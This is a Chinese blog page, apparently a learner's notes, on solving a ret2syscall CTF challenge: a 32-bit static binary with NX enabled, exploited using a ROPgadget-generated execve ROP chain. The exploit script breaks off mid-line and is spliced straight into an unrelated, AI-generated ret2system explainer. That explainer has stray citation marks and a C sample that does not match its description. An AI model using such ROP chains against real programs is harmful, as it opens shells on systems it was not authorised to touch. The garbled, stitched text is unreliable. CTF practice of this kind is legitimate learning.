pwn ret2syscall

本文记录了作者在学习pwn技术时关于ret2syscall的实践过程,通过gdb+pwndbg进行调试,并尝试解决XCTF攻防世界的基础题目。虽然文章主要侧重于实践操作,未深入探讨ret2syscall的原理,但提到了32位静态链接程序开启NX保护的情况,以及如何使用ropgadget生成ropchain。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

学了学pwndbg的使用,文章在这里:gdb+pwndbg食用指南

这篇博客注定是一篇水文,因为昨天做了做XCTF攻防世界上的题目,基础题都做不来,那题应该是ret2text的内容,还是太菜,没有深刻理解原理,导致做不出,对于ret2syscall现在理解的不深刻,在这里记录一下是怎么做的吧,原理懂了再补上。

查看一下文件的基本信息

在这里插入图片描述32位静态链接的程序,开启了NX保护。

由于是静态链接的,所以我们可以使用ropgadget工具生成一个ropchain

命令为:ROPgadget --binary rop --ropchain (rop为文件名)

在这里插入图片描述
完整的exp为

#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = ''

p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a4ad) # mo
### ret2system 漏洞利用技术详解 #### 背景介绍 ret2system是一种基于返回导向编程(ROP)的技术,通常用于绕过不可执行堆栈保护机制。这种攻击方式依赖于调用`system()`函数来执行命令或启动shell[^1]。 #### 原理说明 当存在缓冲区溢出漏洞时,如果程序中已经包含了对`system()`函数的合法调用,则可以直接覆盖返回地址指向该处。由于`system()`接受一个参数作为要执行的命令字符串,因此还需要找到这个字符串在内存中的位置并将其传递给`system()`. 如果目标进程中恰好有"/bin/sh"这样的字符串,那么就可以构造payload使得`system("/bin/sh")`被执行从而获得交互式的shell. 但是,在很多情况下,直接找到合适的`system()`调用并不容易实现。此时可以考虑寻找其他可能的方法: - **间接调用**:即使没有现成的`system()`调用路径,也可以尝试通过修改寄存器值或其他手段间接达到相同效果。 - **自定义输入**:有时可以通过精心设计的数据输入让程序自己创建所需的环境变量或者文件描述符等资源,进而触发期望的操作。 对于具体案例提到的情况——即发现了`gets()`导致的栈溢出但未能定位到`system("/bin/sh")`—这表明虽然具备基本条件但仍需进一步探索可用 gadge t 或者创造性的方法去完成整个链条构建[^2]. ```c // 示例代码片段展示如何构造 payload 来利用 ret2system 漏洞 (假设已知 system 地址 和 "/bin/sh" 字符串的位置) char *args[] = {"/bin/sh", NULL}; void (*sys)(const char *) = &system; // 获取 system 函数指针 (*sys)("echo 'Hello from ret2system!'"); ``` 值得注意的是,上述讨论仅限于理论层面的研究探讨;任何未经授权的实际操作均属违法行为,并违反道德准则。安全研究人员应当始终遵循法律法规以及职业操守的要求开展工作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值